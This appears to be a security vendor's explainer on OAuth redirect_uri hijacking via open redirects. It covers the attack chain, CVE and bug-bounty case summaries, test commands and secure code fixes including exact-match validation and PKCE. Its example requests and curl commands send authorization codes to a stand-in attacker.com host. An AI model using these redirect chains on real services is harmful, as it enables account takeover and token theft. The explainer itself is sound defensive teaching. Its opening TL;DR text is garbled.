Open redirect on the authorization server or client allows interception of OAuth authorization codes or access tokens via crafted redirect_uri values.
TL;DR
code_verifier but does not prevent code exfiltrationredirect_uri + register full URIs including pathOAuth redirect_uri hijacking is the highest-severity form of open redirect (CWE-601). The OAuth 2.0 authorization code flow relies on the redirect_uri parameter to deliver the authorization code to the legitimate client application. An open redirect on a registered redirect URI, or insufficient validation of the redirect_uri itself, allows an attacker to intercept the authorization code and exchange it for access tokens — achieving full account takeover without the victim's knowledge.
The vulnerability falls under OWASP A01:2021 (Broken Access Control) and maps specifically to RFC 6749 §4.1 (Authorization Code Grant) security considerations. The CVSS base score for an isolated open redirect is 6.1, but open redirect in an OAuth context reaches CVSS 8.6-9.8 because it enables authorization code theft and subsequent identity assumption. CVE-2021-29156 (ForgeRock OpenAM) was rated CVSS 9.8; CVE-2024-23832 (Mastodon) was rated 9.4.
HackerOne #112614 (Twitter OAuth open redirect, $1,470) is the canonical bug bounty reference demonstrating that the security industry treats open redirects in OAuth context as high-severity findings warranting meaningful rewards.
The attack requires two conditions:
redirect_uri that contains query parameters adding an open redirect, OR the application client has an open redirect on its registered callback URL.# Step 1: Attacker crafts authorization request
GET /oauth/authorize?
response_type=code&
client_id=legitimate_app&
redirect_uri=https%3A%2F%2Ftrusted-app.com%2Fcallback%3Fnext%3Dhttps%3A%2F%2Fattacker.com%2Fcapture&
scope=openid+profile+email&
state=random_state_value
Host: authorization-server.com
# Step 2: Authorization server (if using prefix match) validates redirect_uri starts with
# registered https://trusted-app.com/callback — passes — appends code:
# Location: https://trusted-app.com/callback?next=https://attacker.com/capture&code=AUTH_CODE_HERE
# Step 3: trusted-app.com/callback reads the next param, redirects (open redirect):
# Location: https://attacker.com/capture?code=AUTH_CODE_HERE
# Step 4: Attacker exchanges code:
POST /oauth/token HTTP/1.1
Host: authorization-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=https%3A%2F%2Ftrusted-app.com%2Fcallback%3Fnext%3Dhttps%3A%2F%2Fattacker.com%2Fcapture&
client_id=legitimate_app&
client_secret=LEAKED_OR_PUBLIC_SECRET| Technique | Mechanism | Required Condition |
|---|---|---|
| Open redirect on registered callback | Client has ?next= on /callback URL | Prefix match in AS validation |
| Prefix match bypass | AS accepts any URI starting with registered prefix | AS uses startsWith not == |
| Wildcard subdomain bypass | Register *.example.com → attacker controls subdomain | Wildcard registration allowed |
| Path traversal in redirect_uri | redirect_uri with /../ normalized away | AS normalizes before registering |
| Implicit flow token theft | Access token in URL fragment — no exchange needed | App uses deprecated implicit flow |
| State CSRF + redirect combo | Combine CSRF on state with redirect to steal code | Missing or weak state validation |
When the browser navigates to https://attacker.com/capture?code=AUTH_CODE, every sub-resource request includes the Referer header with the full URL:
GET /tracker.gif HTTP/1.1
Host: analytics.third-party.com
Referer: https://attacker.com/capture?code=AUTH_CODE_HEREThe attacker does not need explicit JavaScript to capture the code — any request to a third-party resource on the landing page leaks it via Referer. This is a secondary exfiltration path that makes the attack more reliable even if the landing page appears to contain no capture logic.
CVE-2021-29156 — ForgeRock OpenAM (CVSS 9.8)
The goto parameter accepted arbitrary external URLs in ForgeRock's OAuth and authentication flows. During authorization, the code was appended to goto before redirect: goto=https://attacker.com?code=CODE. The attacker exchanged the code for tokens at the token endpoint. CVSS 9.8 because there was no client_secret requirement in ForgeRock's default configuration — public clients could complete the exchange.
CVE-2025-30215 — Forgejo OAuth (CVSS 8.1)
Forgejo's OAuth2 implementation accepted redirect_uri values containing path traversal patterns that bypassed exact match validation. An attacker with a registered OAuth application on the Forgejo instance could craft redirect_uri values that, combined with an open redirect on the callback domain, allowed authorization code interception. Fixed by enforcing strict RFC 6749 §3.1.2 exact matching.
CVE-2024-23832 — Mastodon Remote Follow (CVSS 9.4)
Mastodon's ActivityPub remote follow flow used OAuth tokens for cross-instance authentication. The redirect_uri in the remote follow OAuth flow was not strictly validated. Combined with an open redirect on the Mastodon instance being targeted, an attacker could steal follow-authorization tokens. The CVSS 9.4 rating reflects that successful exploitation gave an attacker full control over the victim's Mastodon account, including all data and interactions.
HackerOne #112614 — Twitter OAuth ($1,470)
Twitter's OAuth callback flow had an open redirect on the registered callback URL. The authorization code was delivered to the callback with the open redirect chain, which forwarded it to the attacker's server. Twitter fixed by removing the open redirect from the callback endpoint and implementing strict exact-match redirect_uri validation. The $1,470 bounty established the precedent for treating OAuth open redirects as high-severity findings.
HackerOne #2293731 — Wildcard redirect_uri ($3,000)
A major identity provider allowed wildcard redirect_uri registration (*.example.com). The attacker identified an expired DNS record for staging.example.com, registered it on a cloud provider, and used redirect_uri=https://staging.example.com/callback. The authorization server accepted it as matching *.example.com; the code was delivered to the attacker-controlled subdomain.
An open redirect vulnerability on your OAuth callback endpoint is always a critical security issue regardless of its isolated CVSS score. If your application has /callback?next= and is registered as an OAuth client anywhere, assume the authorization code can be stolen. Fix the open redirect AND review your redirect_uri registration for prefix or wildcard patterns.
/oauth/authorize, /connect/authorize, /auth, /authorize.redirect_uri (often visible in the authorization request in Burp history or in the app's OAuth settings page).redirect_uri — add a query parameter: redirect_uri=https://registered-host.com/callback?next=https://attacker.com. Check if the authorization server accepts it.redirect_uri=https://registered-host.com/callback/extra/path/.https://registered-host.com/callback?next=https://attacker.com redirect to attacker.com?https://attacker.com and check if the authorization server accepts it.# Test redirect_uri validation in authorization endpoint
curl -v "https://auth.example.com/oauth/authorize?
client_id=known_app&
redirect_uri=https%3A%2F%2Fregistered.example.com%2Fcallback%3Fnext%3Dhttps%3A%2F%2Fattacker.com&
response_type=code&
scope=openid"
# nuclei OAuth misconfiguration templates
nuclei -u https://auth.example.com -t exposures/apis/oauth/
# Check registered callback for open redirect
nuclei -u "https://registered.example.com/callback?next=https://canary.oast.fun" \
-t fuzzing/redirect-params.yamlBreachVex detects OAuth redirect_uri misconfigurations by testing authorization endpoints with modified redirect_uri values including open redirect chains on discovered callback URLs. Confirmed findings require the authorization server to accept the modified URI and an out-of-band canary to receive an HTTP callback containing the state value.
# Authorization server — Python (FastAPI)
# BAD — prefix matching
def validate_redirect_uri(requested: str, client: OAuthClient) -> bool:
return any(requested.startswith(reg) for reg in client.registered_uris)
# GOOD — exact string comparison per RFC 6749 §3.1.2
def validate_redirect_uri(requested: str, client: OAuthClient) -> bool:
return requested in client.registered_uris # Exact match — set membership
# In the authorization endpoint
@app.get("/oauth/authorize")
async def authorize(
redirect_uri: str,
client_id: str,
# ... other params
):
client = await get_oauth_client(client_id)
if not validate_redirect_uri(redirect_uri, client):
raise HTTPException(400, "invalid_request: redirect_uri mismatch")
# Proceed with authorization flow// BAD — callback with open redirect
app.get("/oauth/callback", (req, res) => {
const code = req.query.code;
const next = req.query.next; // Open redirect via ?next=
// Exchange code for tokens...
res.redirect(next || "/dashboard"); // Vulnerable
});
// GOOD — no URL parameter, server-side state only
app.get("/oauth/callback", async (req, res) => {
const code = req.query.code;
const state = req.query.state;
// Validate state (CSRF protection)
const savedState = req.session.oauthState;
if (state !== savedState) return res.status(400).send("State mismatch");
// Exchange code for tokens
const tokens = await exchangeCode(code);
req.session.tokens = tokens;
// Destination retrieved from session — never from URL
const destination = req.session.postLoginDestination || "/dashboard";
delete req.session.postLoginDestination;
res.redirect(destination);
});import hashlib, base64, secrets
# Client generates PKCE pair before authorization request
def generate_pkce() -> tuple[str, str]:
code_verifier = secrets.token_urlsafe(32)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b"=").decode()
return code_verifier, code_challenge
# In authorization request
code_verifier, code_challenge = generate_pkce()
session["pkce_verifier"] = code_verifier # Store server-side
auth_url = (
f"https://auth.example.com/oauth/authorize"
f"?client_id={CLIENT_ID}"
f"&redirect_uri={REGISTERED_URI}" # Exact match, no extra params
f"&code_challenge={code_challenge}"
f"&code_challenge_method=S256"
f"&response_type=code"
)
# In token exchange
response = requests.post("/oauth/token", data={
"code": authorization_code,
"code_verifier": session["pkce_verifier"], # Must match challenge
"redirect_uri": REGISTERED_URI,
"client_id": CLIENT_ID,
})PKCE ensures that even if the authorization code is stolen via open redirect, the attacker cannot exchange it without the code_verifier stored only in the legitimate client's session.
The OAuth authorization server appends the authorization code to the redirect_uri before sending the browser there: redirect_uri?code=AUTH_CODE. If the redirect_uri parameter contains an open redirect on a registered trusted domain — e.g., https://trusted.com/redirect?next=https://evil.com — the authorization server appends the code to that URL. The browser follows to trusted.com, which redirects to evil.com with ?code=AUTH_CODE. The attacker's server receives the code and exchanges it for access tokens.
RFC 6749 §3.1.2 requires exact string comparison between the redirect_uri in the authorization request and the pre-registered redirect_uri. No prefix matching, no wildcard, no path traversal tolerance. The full URI including scheme, host, path, and query string must match character-for-character. Any deviation must be rejected with an error response. Most OAuth open redirect CVEs result from implementing prefix matching or endsWith validation instead of exact match.
CVE-2025-30215 affects Forgejo (the Gitea fork). The OAuth2 authorization endpoint accepted redirect_uri values that contained path traversal patterns. An attacker with an OAuth application registered on a Forgejo instance could craft a redirect_uri that, combined with an open redirect on the registered callback domain, allowed authorization code theft. CVSS 8.1. Fixed by enforcing exact redirect_uri matching.
CVE-2021-29156 (CVSS 9.8) in ForgeRock OpenAM allowed the goto parameter in authentication and OAuth flows to accept arbitrary external URLs. The authorization code was appended to the goto URL before redirect — goto=https://attacker.com?code=AUTH_CODE. The attacker's server received the code and exchanged it for access tokens, achieving full account takeover without any user interaction beyond clicking a crafted link.
Even if the final destination does not explicitly capture the authorization code, the Referer header leaks it. When the browser navigates from https://evil.com?code=AUTH_CODE to any sub-resource on evil.com (images, scripts, analytics), the Referer header contains the full URL including ?code=AUTH_CODE. Any third-party scripts on evil.com receive the authorization code via the Referer header. This secondary leak path makes the chain more reliable.
Wildcard registration like *.example.com allows any subdomain to be a valid redirect_uri. An attacker who can register a subdomain (via subdomain takeover, expired DNS record, or registrar abuse) can register evil.example.com and use it as a redirect_uri. The authorization server accepts it as valid, the code is delivered to evil.example.com, and the attacker exchanges it for tokens. HackerOne #2293731 demonstrated this on a major identity provider.
In the authorization code flow (RFC 6749 §4.1), the redirect carries the authorization code — a short-lived, one-time-use value that must be exchanged for tokens at the token endpoint. The attacker must make a server-to-server call to complete the exchange, requiring the client_secret. In the implicit flow (deprecated), the access token itself is in the redirect URL fragment — no exchange required, immediate account access.
PKCE (Proof Key for Code Exchange, RFC 7636) binds the authorization code to a code_verifier known only to the legitimate client. Even if the code is stolen via open redirect, the attacker cannot exchange it without the code_verifier. PKCE is mandatory for public clients (SPAs, mobile apps) per RFC 9700. However, PKCE does not prevent token exfiltration if the attacker can also observe the code_verifier (e.g., via XSS on the client).
The state parameter (RFC 6749 §4.1.1) is a CSRF protection mechanism — it is a random value the client includes and the server echoes back. It prevents CSRF on the OAuth callback but does NOT prevent open redirect attacks. Open redirect attacks intercept the authorization code before it reaches the legitimate client — the state parameter is irrelevant because the attacker receives the state too (it is in the redirect URL alongside the code).
Burp Suite with JWT Editor and OAuth Scanner extensions. Manual testing in Burp Repeater — modify redirect_uri and observe whether the authorization server accepts the modified value. o-auth.io for automated OAuth flow analysis. nuclei templates for common OAuth misconfigurations. The Portswigger Web Security Academy OAuth labs provide hands-on practice for all redirect_uri manipulation patterns.